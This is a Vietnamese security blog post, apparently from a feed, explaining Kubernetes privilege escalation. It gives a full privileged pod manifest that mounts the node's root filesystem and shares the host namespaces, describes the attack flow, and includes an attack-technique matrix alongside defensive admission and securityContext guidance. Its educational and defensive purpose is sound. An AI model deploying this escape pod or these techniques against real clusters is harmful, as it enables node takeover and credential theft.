<p>Một số cấu hình đặc biệt nguy hiểm gồm:</p>

<table>
  <thead>
    <tr>
      <th>Cấu hình</th>
      <th>Ý nghĩa</th>
      <th>Rủi ro</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">privileged: true</code></td>
      <td>Container được cấp quyền gần như tương đương host</td>
      <td>Có thể tương tác sâu với kernel, device, container runtime</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hostPID: true</code></td>
      <td>Pod dùng PID namespace của host</td>
      <td>Có thể nhìn thấy process trên Node</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hostNetwork: true</code></td>
      <td>Pod dùng network namespace của host</td>
      <td>Có thể truy cập network như Node, ảnh hưởng NetworkPolicy</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hostIPC: true</code></td>
      <td>Pod dùng IPC namespace của host</td>
      <td>Có thể truy cập shared memory hoặc IPC resource</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hostPath: /</code></td>
      <td>Mount filesystem gốc của Node vào container</td>
      <td>Có thể đọc/sửa file trên Node nếu có quyền</td>
    </tr>
  </tbody>
</table>

<p>Nếu nhiều cấu hình nguy hiểm được kết hợp, Pod có thể trở thành cầu nối để attacker escape ra Node.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apiVersion: v1
kind: Pod
metadata:
  name: ubuntu
  labels:
    app: ubuntu
spec:
  # Uncomment and specify a specific node you want to debug
  # nodeName: &lt;insert-node-name-here&gt;
  containers:
    - image: ubuntu
      command:
        - "sleep"
        - "3600" # adjust this as needed -- use only as long as you need
      imagePullPolicy: IfNotPresent
      name: ubuntu
      securityContext:
        allowPrivilegeEscalation: true
        privileged: true
        #capabilities:
        #  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
        runAsUser: 0 # run as root (or any other user)
      volumeMounts:
        - mountPath: /host
          name: host-volume
  restartPolicy: Never # we want to be intentional about running this pod
  hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
  hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
  hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
  volumes:
    - name: host-volume
      hostPath:
        path: /

</code></pre></div></div>

<h2 id="giải-thích-từng-phần">Giải thích từng phần</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>`apiVersion: v1 
kind: Pod 
metadata: 
name: ubuntu`
</code></pre></div></div>

<p>Tạo một Pod tên ubuntu.</p>

<p><code class="language-plaintext highlighter-rouge">containers: - image: ubuntu command: - "sleep" - "3600"</code></p>

<p>Container dùng image Ubuntu và chỉ chạy sleep 3600 để giữ Pod sống trong 1 giờ. Sau khi Pod chạy, attacker có thể exec vào container để thao tác thủ công.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>securityContext:
  allowPrivilegeEscalation: true
  privileged: true
  runAsUser: 0
</code></pre></div></div>

<p>Đây là phần rất nguy hiểm.</p>

<ul>
  <li>runAsUser: 0: container chạy bằng user root.</li>
  <li>allowPrivilegeEscalation: true: cho phép process trong container leo quyền thông qua cơ chế như SUID hoặc file capability.</li>
  <li>privileged: true: container được cấp quyền rất cao, gần với quyền của host. Nhiều lớp cô lập bảo mật của container bị nới lỏng.</li>
</ul>

<p>Nói ngắn gọn: container này không còn là workload bình thường nữa, mà là một container có quyền hệ thống rất mạnh.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>volumeMounts:
  - mountPath: /host
    name: host-volume
</code></pre></div></div>

<p>Mount một volume vào trong container tại đường dẫn /host.</p>

<p>Phần volume được định nghĩa bên dưới:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>volumes:
  - name: host-volume
    hostPath:
      path: /
</code></pre></div></div>

<p>hostPath.path: / nghĩa là mount toàn bộ filesystem gốc của Node vào container.</p>

<p>Tức là:</p>

<p><code class="language-plaintext highlighter-rouge">Trong container: /host ,Thực tế là: / của Node</code></p>

<p>Vì vậy, khi attacker vào container và đọc /host/etc, thực chất là đang đọc /etc của Node.</p>

<p>Ví dụ:</p>

<p><code class="language-plaintext highlighter-rouge">/host/etc/kubernetes/ /host/var/lib/kubelet/ /host/root/ /host/home/</code></p>

<p>Đây là một trong những cấu hình hostPath nguy hiểm nhất.</p>

<p><code class="language-plaintext highlighter-rouge">hostIPC: true</code></p>

<p>Container dùng IPC namespace của host.</p>

<p>IPC là cơ chế giao tiếp giữa các process như shared memory, semaphore, message queue. Nếu dùng IPC namespace của host, container có thể nhìn thấy hoặc tương tác với một số IPC resource của Node.</p>

<p><code class="language-plaintext highlighter-rouge">hostNetwork: true</code></p>

<p>Container dùng network namespace của host.</p>

<p>Điều này có nghĩa là Pod dùng network stack của Node, không phải network riêng của Pod. Nó có thể:</p>

<ul>
  <li>Nhìn network từ góc nhìn của Node.</li>
  <li>Truy cập các service chỉ bind trên Node network.</li>
  <li>Có khả năng bypass một số NetworkPolicy tùy CNI.</li>
  <li>Truy cập metadata endpoint trong môi trường cloud dễ hơn.</li>
</ul>

<p><code class="language-plaintext highlighter-rouge">hostPID: true</code></p>

<p>Container dùng PID namespace của host.</p>

<p>Điều này cho phép container nhìn thấy process đang chạy trên Node. Nếu kết hợp với privileged: true, attacker có thể dùng kỹ thuật như nsenter để vào namespace của process trên host, thường là PID 1.</p>

<p>Nói dễ hiểu:</p>

<p><code class="language-plaintext highlighter-rouge">hostPID: true -&gt; thấy process của Node privileged: true -&gt; có quyền tương tác sâu hostPath: / -&gt; thấy filesystem của Node</code></p>

<p>Khi 3 thứ này kết hợp lại, ranh giới container và host gần như bị phá vỡ.</p>

<h2 id="flow-tấn-công">Flow tấn công</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Attacker có quyền create pods
        |
        v
Tạo Pod ubuntu với privileged + hostPID + hostNetwork + hostPath /
        |
        v
Exec vào container
        |
        v
Truy cập /host để đọc filesystem của Node
        |
        v
Tìm kubelet config, kubeconfig, token, secret, certificate
        |
        v
Có thể leo thang ra Node hoặc cluster
</code></pre></div></div>

<h2 id="vì-sao-nó-nguy-hiểm">Vì sao nó nguy hiểm?</h2>

<p>Vì Pod này có quá nhiều đặc quyền cùng lúc:</p>

<table>
  <thead>
    <tr>
      <th>Cấu hình</th>
      <th>Nguy hiểm ở đâu</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>privileged: true</td>
      <td>Container có quyền rất cao trên host</td>
    </tr>
    <tr>
      <td>runAsUser: 0</td>
      <td>Chạy bằng root trong container</td>
    </tr>
    <tr>
      <td>allowPrivilegeEscalation: true</td>
      <td>Cho phép leo quyền trong container</td>
    </tr>
    <tr>
      <td>hostPath: /</td>
      <td>Mount toàn bộ filesystem của Node</td>
    </tr>
    <tr>
      <td>hostPID: true</td>
      <td>Nhìn thấy process của Node</td>
    </tr>
    <tr>
      <td>hostNetwork: true</td>
      <td>Dùng network của Node</td>
    </tr>
    <tr>
      <td>hostIPC: true</td>
      <td>Dùng IPC của Node</td>
    </tr>
  </tbody>
</table>

<p>Nếu cluster không có Pod Security Admission, Kyverno, Gatekeeper hoặc policy tương đương để chặn các cấu hình này, quyền create pods có thể trở thành đường dẫn leo thang rất mạnh.</p>

<h3 id="stealth--badpods">Stealth / BadPods</h3>

<h3 id="các-biến-thể-pod-nguy-hiểm">Các biến thể Pod nguy hiểm</h3>

<p>Không phải lúc nào attacker cũng cần tạo một Pod bật tất cả quyền nguy hiểm. Trong thực tế, mỗi cấu hình có thể tạo ra một mức độ rủi ro khác nhau.</p>

<p>Một số biến thể thường được nghiên cứu trong BadPods:</p>

<ul>
  <li><strong>Privileged + hostPID</strong>: rất nguy hiểm vì container có quyền cao và nhìn thấy process của host.</li>
  <li><strong>Privileged only</strong>: có thể tương tác sâu với hệ thống, phụ thuộc runtime và kernel.</li>
  <li><strong>hostPath</strong>: nguy hiểm nếu mount thư mục nhạy cảm của Node.</li>
  <li><strong>hostPID</strong>: có thể quan sát process trên host, tìm thông tin nhạy cảm trong command line.</li>
  <li><strong>hostNetwork</strong>: có thể truy cập network từ góc nhìn của Node.</li>
  <li><strong>hostIPC</strong>: có thể ảnh hưởng hoặc đọc IPC/shared memory trong một số trường hợp.</li>
</ul>

<p>Ý nghĩa của phần này là: Kubernetes privilege escalation không chỉ đến từ một cấu hình duy nhất, mà thường là kết quả của nhiều cấu hình yếu kết hợp với nhau.</p>

<p>Bạn có thể tham khảo ví dụ cách tạo cấu hình badpods tại link này khá là hay ở đây.</p>

<p>https://github.com/BishopFox/badPods</p>

<p>Ngoài ra tui cũng có nghiên cứu 1 case khá là hay trên X của Duffie Cooley minh họa một one-liner tạo Pod đặc quyền để truy cập namespace của Node. Tận dụng 2 cấu hình là  bật <code class="language-plaintext highlighter-rouge">hostPID: true</code> và <code class="language-plaintext highlighter-rouge">privileged: true</code> https://x.com/mauilion/status/1129468485480751104</p>

<h3 id="container-escape">Container escape</h3>

<p>Một trong những rủi ro nghiêm trọng nhất khi vận hành kubernetes là container breakout , là  tình hướng mà một tiến trình chạy trong container có quyền thoát ra cơ chế cô lập hiện tại của container và tác động lên host và node cũng như các tài nguyên khác trong cluster.</p>

<p>Về  lý thuyết ,container breakout thường được hiểu là khai thác lỗ hổng phía kernel ,container runtime ,network stack hoặc storage stack để phá vỡ cơ chế isolation . Tuy nhiên trong thực tế , không phải lúc nào attacker cũng phải tấn công bằng các lỗi Zero day phức tạp ,nhưng bạn có thể tham khảo các CVE 2026 về linux kernel như : Copy-fail , DirtyFrag, DirtyDecrypt,… .Nhiều trường hợp breakout vẫn xảy ra do misconfig , ví dụ container chạy với quyền quá cao ,mount file system của host ,cấp thừa linux capabilities, hoặc ServiceAccount có RBAC quá rộng</p>

<p>Nói cách khác, nếu một container được cấu hình sai, attacker có thể không cần “hack kernel” mà vẫn có đường hợp lệ để chạm tới host hoặc cluster.</p>

<p>Một số nguyên nhân phổ biến dẫn tới container escape gồm:</p>

<ul>
  <li>Container chạy bằng user root.</li>
  <li>Container được cấp privileged: true.</li>
  <li>Container có capability nguy hiểm như CAP_SYS_ADMIN.</li>
  <li>Pod mount host filesystem bằng hostPath.</li>
  <li>Container có thể truy cập socket nhạy cảm như Docker/container runtime socket.</li>
  <li>Service account token trong pod có quyền quá rộng.</li>
  <li>Workload có thể gọi cloud metadata API để lấy credential.</li>
  <li>Kernel hoặc container runtime có CVE chưa được vá.</li>
  <li>App bên trong container bị RCE, sau đó attacker dùng quyền hiện có để pivot.</li>
</ul>

<p>Điểm quan trọng là container không phải là một “máy ảo nhỏ” với boundary cứng như nhiều người tưởng. Container dùng chung kernel với host, nên nếu attacker có đủ quyền bên trong container, đặc biệt là root cộng thêm capability nguy hiểm, ranh giới bảo mật sẽ trở nên rất mỏng.</p>

<p>Ví dụ, nếu một container chạy ở chế độ privileged và có quyền mount thiết bị của host, attacker có thể tương tác với filesystem bên ngoài container. Khi đó container không còn chỉ nhìn thấy filesystem riêng của nó nữa, mà có thể nhìn thấy hoặc ghi vào filesystem của node. Đây là một dạng breakout rất nguy hiểm vì attacker có thể đặt persistence, đọc dữ liệu nhạy cảm, hoặc can thiệp vào cấu hình host.</p>

<p>Tuy nhiên, không phải container nào cũng dễ breakout. Nếu workload chạy bằng non-root user, bị drop capabilities, filesystem chỉ đọc, không có hostPath nguy hiểm, và được giới hạn bởi AppArmor/SELinux/seccomp, thì rất nhiều kỹ thuật escape sẽ bị vô hiệu hóa hoặc khó thực hiện hơn nhiều.</p>

<p>Vì vậy, trong phòng thủ Kubernetes, cần chú ý các cấu hình sau:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>securityContext:
  runAsNonRoot: true
  runAsUser: 1000
  allowPrivilegeEscalation: false
  readOnlyRootFilesystem: true
  capabilities:
    drop:
      - ALL
</code></pre></div></div>

<p>Ngoài ra, ở cấp cluster nên dùng admission control để chặn các workload nguy hiểm, ví dụ:</p>

<ul>
  <li>Không cho phép privileged: true.</li>
  <li>Không cho phép container chạy bằng root nếu không có lý do rõ ràng.</li>
  <li>Không cho phép mount hostPath tùy tiện.</li>
  <li>Không cho phép thêm capability nguy hiểm.</li>
  <li>Bắt buộc dùng seccomp profile.</li>
  <li>Bắt buộc AppArmor hoặc SELinux policy nếu môi trường hỗ trợ.</li>
  <li>Giới hạn quyền của service account theo nguyên tắc least privilege.</li>
</ul>

<p>Một điểm cần nhớ là trong Kubernetes, <strong>pod thường là trust boundary</strong>, không phải từng container riêng lẻ. Các container trong cùng một pod có thể chia sẻ network namespace, volume, và một số tài nguyên khác. Vì vậy nếu một container trong pod bị compromise, các container còn lại trong cùng pod cũng nên được xem là có nguy cơ bị ảnh hưởng.</p>

<p>Container breakout cũng có thể đi theo hướng không trực tiếp phá kernel, mà pivot sang các thành phần khác:</p>

<ul>
  <li>Đọc service account token rồi gọi Kubernetes API.</li>
  <li>Dò các service nội bộ trong cluster.</li>
  <li>Truy cập cloud metadata service để lấy temporary credential.</li>
  <li>Tìm secret trong environment variable hoặc config file.</li>
  <li>Tấn công kubelet API nếu node expose sai.</li>
  <li>Lạm dụng workload identity để truy cập cloud resources.</li>
</ul>

<p>Điều này cho thấy breakout không chỉ là “thoát khỏi container ra host”, mà còn là bất kỳ cách nào phá vỡ giả định isolation ban đầu của operator. Nếu workload chỉ đáng lẽ được phép chạy app, nhưng attacker dùng nó để đọc Secret, điều khiển API server, hoặc truy cập cloud account, thì về mặt rủi ro nó vẫn là một dạng isolation failure nghiêm trọng.</p>

<p>Tóm lại, container escape thường đến từ ba nhóm nguyên nhân chính:</p>

<ol>
  <li>
    <p><strong>Lỗ hổng kỹ thuật</strong><br />
 Kernel bug, container runtime CVE, filesystem bug, network stack bug.</p>
  </li>
  <li>
    <p><strong>Cấu hình sai</strong><br />
 Privileged container, root user, hostPath mount, capability dư thừa, thiếu seccomp/AppArmor/SELinux.</p>
  </li>
  <li>
    <p><strong>Pivot qua credential hoặc control plane</strong><br />
 Service account token, kubeconfig, cloud metadata, workload identity, Kubernetes API, kubelet API.</p>
  </li>
</ol>

<h3 id="phòng-thủ-cho-badpods">Phòng thủ cho badpods</h3>

<p>Trong Kubernetes, RBAC chỉ kiểm tra một identity có được phép tạo Pod hay không. Tuy nhiên, RBAC không đủ để đánh giá Pod đó có an toàn hay không. Vì vậy Kubernetes cần thêm lớp Admission Controller để kiểm tra nội dung Pod trước khi cho phép tạo.</p>

<p>Các cơ chế như Pod Security Admission, Kyverno hoặc OPA Gatekeeper có thể chặn những cấu hình nguy hiểm như <code class="language-plaintext highlighter-rouge">privileged: true</code>, <code class="language-plaintext highlighter-rouge">hostPID</code>, <code class="language-plaintext highlighter-rouge">hostNetwork</code> hoặc <code class="language-plaintext highlighter-rouge">hostPath</code>. Đây là lớp phòng thủ quan trọng để ngăn attacker biến quyền <code class="language-plaintext highlighter-rouge">create pods</code> thành khả năng truy cập Node.</p>

<p>Tóm lại, để giảm rủi ro Pod escape, cần kết hợp hai lớp kiểm soát: RBAC giới hạn ai được tạo Pod, và Admission Policy giới hạn Pod được phép chứa cấu hình gì.</p>

<p>Đây là sơ đồ tấn công mà mình kiếm được trên mạng khi bạn có thể tiếp cận cluster từ các hướng khác nhau</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260524172250.png" alt="" /></p>

<p>Nó cho thấy attacker có thể tiếp cận cluster từ nhiều hướng khác nhau:</p>

<ul>
  <li><strong>Access API server</strong>: attacker hoặc user có credential có thể gọi trực tiếp Kubernetes API server.</li>
  <li><strong>Misconfigured Kubernetes dashboard</strong>: dashboard cấu hình sai có thể cho phép truy cập cluster qua UI.</li>
  <li><strong>Malicious container image in registry</strong>: image độc hại được push lên container registry, sau đó được deploy vào cluster.</li>
  <li><strong>Vulnerable application</strong>: app chạy trong pod có lỗ hổng, attacker khai thác app rồi pivot vào pod/cluster.</li>
  <li><strong>Misconfigured Docker daemon</strong>: Docker daemon expose sai cấu hình, attacker có thể điều khiển container/node.</li>
  <li><strong>Developer/DevOps</strong>: tài khoản hoặc máy của developer/devops bị compromise, từ đó ảnh hưởng registry hoặc cluster.</li>
</ul>

<p>Bên trong hình có 2 vùng chính:</p>

<p><strong>Master / control plane</strong><br />
Bên trái là thành phần điều khiển Kubernetes:</p>

<ul>
  <li>API server: cổng trung tâm để mọi thứ giao tiếp với cluster.</li>
  <li>etcd: nơi lưu state/secret/config của cluster.</li>
  <li>Scheduler: quyết định pod chạy ở node nào.</li>
  <li>controller manager: điều phối trạng thái cluster.</li>
  <li>K8s dashboard: giao diện web quản trị cluster nếu có cài.</li>
</ul>

<p><strong>Node / worker node</strong><br />
Bên phải là máy chạy workload:</p>

<ul>
  <li>kubelet: agent trên node, nhận lệnh từ API server để chạy pod.</li>
  <li>kube-proxy: xử lý networking/service routing.</li>
  <li>Pod: nơi container/app chạy.</li>
  <li>API: có thể là app API bên trong pod.</li>
</ul>

<p>Các nhãn như <strong>Peirates</strong>, <strong>kube-hunter</strong>, <strong>BOB</strong>, <strong>Deepce</strong> là công cụ bảo mật/offensive Kubernetes/container thường dùng để kiểm tra hoặc khai thác cấu hình yếu:</p>

<ul>
  <li>kube-hunter: scanner tìm lỗ hổng/cấu hình yếu trong Kubernetes.</li>
  <li>Peirates: công cụ hỗ trợ privilege escalation và discovery trong Kubernetes.</li>
  <li>BOB, Deepce: công cụ liên quan đến container/Kubernetes enumeration hoặc escape-checking.</li>
</ul>

<p><strong>Kubernetes có nhiều điểm vào</strong>, không chỉ mỗi API server. Attacker có thể đi từ app lỗi, dashboard cấu hình sai, image độc, Docker daemon expose, registry, developer account, hoặc credential bị lộ. Khi đã vào được một pod hoặc node, họ có thể tiếp tục enumerate, pivot, leo thang quyền, hoặc tác động đến control plane nếu cấu hình cluster yếu.</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260524175900.png" alt="" /></p>

<p>Hoặc là kĩ thuật reverse shell trong 1 container bị compromise</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260524180647.png" alt="" /></p>

<h3 id="attack-surface-cho-k8s">Attack surface cho K8s</h3>

<p><img src="/assets/images/posts/Pasted%20image%2020260524211855.png" alt="" /></p>

<table>
  <thead>
    <tr>
      <th>Initial access (popping a shell pt 1 - prep)</th>
      <th>Execution (popping a shell pt 2 - exec)</th>
      <th>Persistence (keeping the shell)</th>
      <th>Privilege escalation (container breakout)</th>
      <th>Defense evasion (assuming no IDS)</th>
      <th>Credential access (juicy creds)</th>
      <th>Discovery (enumerate possible pivots)</th>
      <th>Lateral movement (pivot)</th>
      <th>Command &amp; control (C2 methods)</th>
      <th>Impact (dangers)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Using cloud credentials: service account keys, impersonation</td>
      <td>Exec into container (bypass admission control policy)</td>
      <td>Backdoor container (add a reverse shell to local or container registry image)</td>
      <td>Privileged container (legitimate escalation to host)</td>
      <td>Clear container logs (covering tracks after host breakout)</td>
      <td>List K8s Secrets</td>
      <td>List K8s API server (nmap, curl)</td>
      <td>Access cloud resources (workload identity and cloud integrations)</td>
      <td>Dynamic resolution (DNS tunneling)</td>
      <td>Data destruction (datastores, files, NAS, ransomware…)</td>
    </tr>
    <tr>
      <td>Compromised images in registry (supply chain unpatched or malicious)</td>
      <td>BASH/CMD inside container (implant or trojan, RCE/reverse shell, malware, C2, DNS tunneling)</td>
      <td>Writable host path mount (host mount breakout)</td>
      <td>Cluster admin role binding (untested RBAC)</td>
      <td>Delete K8s events (covering tracks after host breakout)</td>
      <td>Mount service principal (Azure specific)</td>
      <td>Access <code class="language-plaintext highlighter-rouge">kubelet</code> API</td>
      <td>Container service account (API server)</td>
      <td>App protocols (L7 protocols, TLS, …)</td>
      <td>Resource hijacking (cryptojacking, malware C2/distribution, open relays, botnet membership)</td>
    </tr>
    <tr>
      <td>Application vulnerability (supply chain unpatched or malicious)</td>
      <td>Start new container (with malicious payload: persistence, enumeration, observation, escalation)</td>
      <td>K8s CronJob (reverse shell on a timer)</td>
      <td>Access cloud resources (metadata attack via workload identity)</td>
      <td>Connect from proxy server (to cover source IP, external to cluster)</td>
      <td>Applications credentials in config files (key material)</td>
      <td>Access K8s dashboard (UI requires service account credentials)</td>
      <td>Cluster internal networking (attack neighboring pods or systems)</td>
      <td>Botnet (k3d, or traditional)</td>
      <td>Application DoS</td>
    </tr>
    <tr>
      <td>kubeconfig file (exfiltrated, or uploaded to the wrong place)</td>
      <td>Application exploit (RCE)</td>
      <td>Static pods (reverse shell, shadow API server to read audit-log-only headers)</td>
      <td>Pod <code class="language-plaintext highlighter-rouge">hostPath</code> mount (logs to container breakout)</td>
      <td>Pod/container name similarity (visual evasion, CronJob attack)</td>
      <td>Access container service account (RBAC lateral jumps)</td>
      <td>Network mapping (nmap, curl)</td>
      <td>Access container service account (RBAC lateral jumps)</td>
      <td> </td>
      <td>Node scheduling DoS</td>
    </tr>
    <tr>
      <td>Compromise user endpoint (2FA and federating auth mitigate)</td>
      <td>SSH server inside container (bad practice)</td>
      <td>Injected sidecar containers (malicious mutating webhook)</td>
      <td>Node to cluster escalation (stolen credentials, node label rebinding attack)</td>
      <td>Dynamic resolution (DNS) (DNS tunneling/exfiltration)</td>
      <td>Compromise admission controllers</td>
      <td>Instance metadata API (workload identity)</td>
      <td>Host writable volume mounts</td>
      <td> </td>
      <td>Service discovery DoS</td>
    </tr>
    <tr>
      <td>K8s API server vulnerability (needs CVE and unpatched API server)</td>
      <td>Container lifecycle hooks (<code class="language-plaintext highlighter-rouge">postStart</code> and <code class="language-plaintext highlighter-rouge">preStop</code> events in pod YAML)</td>
      <td>Rewrite container lifecycle hooks (<code class="language-plaintext highlighter-rouge">postStart</code> and <code class="language-plaintext highlighter-rouge">preStop</code> events in pod YAML)</td>
      <td>Control plane to cloud escalation (keys in Secrets, cloud or control plane credentials)</td>
      <td>Shadow admission control or API server</td>
      <td> </td>
      <td>Compromise K8s Operator (sensitive RBAC)</td>
      <td>Access K8s dashboard</td>
      <td> </td>
      <td>PII or IP exfiltration (cluster or cloud datastores, local accounts)</td>
    </tr>
    <tr>
      <td>Compromised host (credentials leak/stuffing, unpatched services, supply chain compromise)</td>
      <td> </td>
      <td>Rewrite liveness probes (exec into and reverse shell in container)</td>
      <td>Compromise admission controller (reconfigure and bypass to allow blocked image with flag)</td>
      <td> </td>
      <td> </td>
      <td>Access host filesystem (host mounts)</td>
      <td>Access tiller endpoint (Helm v3 negates this)</td>
      <td> </td>
      <td>Container pull rate limit DoS (container registry)</td>
    </tr>
    <tr>
      <td>Compromised <code class="language-plaintext highlighter-rouge">etcd</code> (missing auth)</td>
      <td> </td>
      <td>Shadow admission control or API server (privileged RBAC, reverse shell)</td>
      <td>Compromise K8s Operator (compromise flux and read any Secrets)</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td>Access K8s Operator</td>
      <td> </td>
      <td>SOC/SIEM DoS (event/audit/log rate limit)</td>
    </tr>
    <tr>
      <td> </td>
      <td> </td>
      <td>K3d botnet (secondary cluster running on compromised nodes)</td>
      <td>Container breakout (kernel or runtime vulnerability e.g., DirtyCOW, <code class="language-plaintext highlighter-rouge">/proc/self/exe</code>, eBPF verifier bugs, Netfilter)</td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
  </tbody>
</table>

<p>Đoạn này là một bảng attack chain cho môi trường <strong>container / Kubernetes / cloud</strong>. Mỗi cột là một giai đoạn trong vòng đời tấn công, còn mỗi dòng là ví dụ kỹ thuật mà attacker có thể dùng ở giai đoạn đó.</p>

<p>Nói ngắn gọn: nó mô tả attacker đi từ <strong>có quyền ban đầu</strong>, chạy lệnh trong container, giữ quyền truy cập, leo thang ra host hoặc cluster, né phát hiện, lấy credential, dò hệ thống, pivot sang nơi khác, thiết lập C2, rồi gây tác động.</p>

<p><strong>Các cột nghĩa là gì</strong></p>

<p>Initial access<br />
Cách attacker vào được hệ thống ban đầu. Ví dụ: lộ cloud credential, kubeconfig bị leak, app có RCE, image trong registry bị cài mã độc, endpoint người dùng bị compromise.</p>

<p>Execution<br />
Sau khi vào được, attacker chạy code/lệnh. Ví dụ: exec vào container, chạy bash/cmd, tạo container mới chứa payload, khai thác app để RCE.</p>

<p>Persistence<br />
Giữ quyền truy cập lâu dài. Ví dụ: backdoor image, CronJob chạy reverse shell theo lịch, static pod, SSH server trong container, lifecycle hook độc hại.</p>

<p>Privilege escalation<br />
Leo thang quyền. Trong Kubernetes thường là từ pod/container lên node, từ node lên cluster, hoặc từ cluster lên cloud. Ví dụ: privileged container, writable hostPath mount, kubelet API, RBAC quá rộng, container breakout qua kernel/runtime bug.</p>

<p>Defense evasion<br />
Né phát hiện. Ví dụ: xóa container logs, xóa Kubernetes events, dùng tên pod/container giống workload hợp pháp, shadow API server/admission controller, bypass admission policy.</p>

<p>Credential access<br />
Tìm và lấy credential. Ví dụ: list K8s Secrets, đọc service account token, cloud service principal, workload identity token, kubeconfig, credential trong config file, etcd không bảo vệ.</p>

<p>Discovery<br />
Dò hệ thống để tìm pivot. Ví dụ: list Kubernetes API server, nmap/curl mạng nội bộ cluster, truy cập dashboard, kubelet API, operator, service discovery, cloud metadata.</p>

<p>Lateral movement<br />
Di chuyển ngang sang pod/node/service/cloud khác. Ví dụ: dùng service account để gọi API server, workload identity để vào cloud resources, attack neighboring pods, truy cập dashboard/operator/tiller.</p>

<p>Command &amp; control<br />
Kênh điều khiển từ xa. Ví dụ: DNS tunneling, proxy server để che IP nguồn, app protocol như HTTPS/TLS, botnet, malware C2.</p>

<p>Impact<br />
Hậu quả cuối cùng. Ví dụ: xóa dữ liệu, ransomware, cryptojacking, DoS app/node/service discovery/SIEM, exfiltration PII/IP, botnet, phá container registry.</p>

<p><strong>Một vài ví dụ dễ hiểu</strong></p>

<p>Using cloud credentials: service account keys, impersonation<br />
Nếu attacker có key cloud hoặc quyền impersonate service account, họ có thể vào cloud project/subscription trước, rồi từ đó tìm cluster hoặc workload liên quan.</p>

<p>Exec into container<br />
Attacker có quyền hoặc lỗ hổng cho phép mở shell bên trong container. Đây là bước “đã vào được workload”.</p>

<p>Privileged container<br />
Container chạy với quyền quá cao, có thể truy cập thiết bị/kernel capability của host. Đây là rủi ro lớn vì có thể dẫn tới host compromise.</p>

<p>Writable host path mount / Host writable volume mounts<br />
Pod mount thư mục từ host và có quyền ghi. Nếu mount nhạy cảm, attacker có thể sửa file trên node hoặc đặt persistence.</p>

<p>List K8s Secrets<br />
Nếu RBAC cho phép đọc Secret, attacker có thể lấy token, database password, cloud key, TLS key.</p>

<p>Instance metadata API<br />
Pod gọi metadata service của cloud để lấy token tạm thời. Nếu workload identity/metadata protection cấu hình sai, attacker có thể dùng token đó truy cập cloud resources.</p>

<p>K8s CronJob reverse shell on a timer<br />
Một cách persistence: tạo CronJob định kỳ gọi về attacker. Về phòng thủ, nên audit CronJob lạ và RBAC tạo workload.</p>

<p>Shadow admission control or API server<br />
Attacker dựng thành phần giả hoặc độc hại để đánh lừa/ghi nhận thông tin nhạy cảm hoặc bypass chính sách.</p>

<p>SOC/SIEM DoS<br />
Tạo quá nhiều log/event/audit để làm nghẽn hệ thống giám sát, khiến cảnh báo thật khó thấy hơn.</p>

<p><strong>Ý chính của toàn bộ bảng</strong></p>

<p>Đây không phải là một checklist “làm theo để hack”, mà là bản đồ rủi ro để defender/red team hiểu:</p>

<ul>
  <li>Đường vào có thể đến từ app, image, kubeconfig, cloud key, người dùng, registry.</li>
  <li>Container không phải biên giới bảo mật tuyệt đối.</li>
  <li>RBAC, Secrets, service account và workload identity là vùng cực kỳ nhạy cảm.</li>
  <li>hostPath, privileged pod, kubelet API, metadata API là các điểm breakout/pivot phổ biến.</li>
  <li>Persistence trong Kubernetes thường ẩn trong CronJob, static pod, lifecycle hook, webhook, operator.</li>
  <li>Impact không chỉ là mất dữ liệu, mà còn cryptojacking, botnet, DoS, supply chain compromise.</li>
</ul>

<p>Hiện tại tui mới nghiên cứu tới đây thôi vì mảng này cũng khá là rộng , sắp tới tui sẽ dựng lab và sẽ mô phỏng các kĩ thuật tấn công thực tế hơn. Cảm ơn các bạn đã dành thời gian đọc bài viết mình.!!!</p>]]></content><author><name>Phuc Quan</name><email>quan610ll@gmail.com</email></author><category term="Security-Research" /><category term="Kubernetes" /><category term="Security" /><summary type="html"><![CDATA[Các Attack vector trong Privilege Escalation in K8s]]></summary></entry><entry><title type="html">Lab THM HTB về Kubernetes</title><link href="https://phucquan.github.io/security-research/2026/05/23/lab-thm-htb-ve-kubernetes/" rel="alternate" type="text/html" title="Lab THM HTB về Kubernetes" /><published>2026-05-23T17:00:00+00:00</published><updated>2026-05-23T17:00:00+00:00</updated><id>https://phucquan.github.io/security-research/2026/05/23/lab-thm-htb-ve-kubernetes</id><content type="html" xml:base="https://phucquan.github.io/security-research/2026/05/23/lab-thm-htb-ve-kubernetes/"><![CDATA[<h3 id="lab-thm-frank-and-herby-try-again">Lab THM Frank and Herby try again…..</h3>

<p><img src="/assets/images/posts/Pasted%20image%2020260522231336.png" alt="" /></p>

<p>Bước đầu tiên thì quét Nmap để tìm các attack surface</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260522232951.png" alt="" /></p>

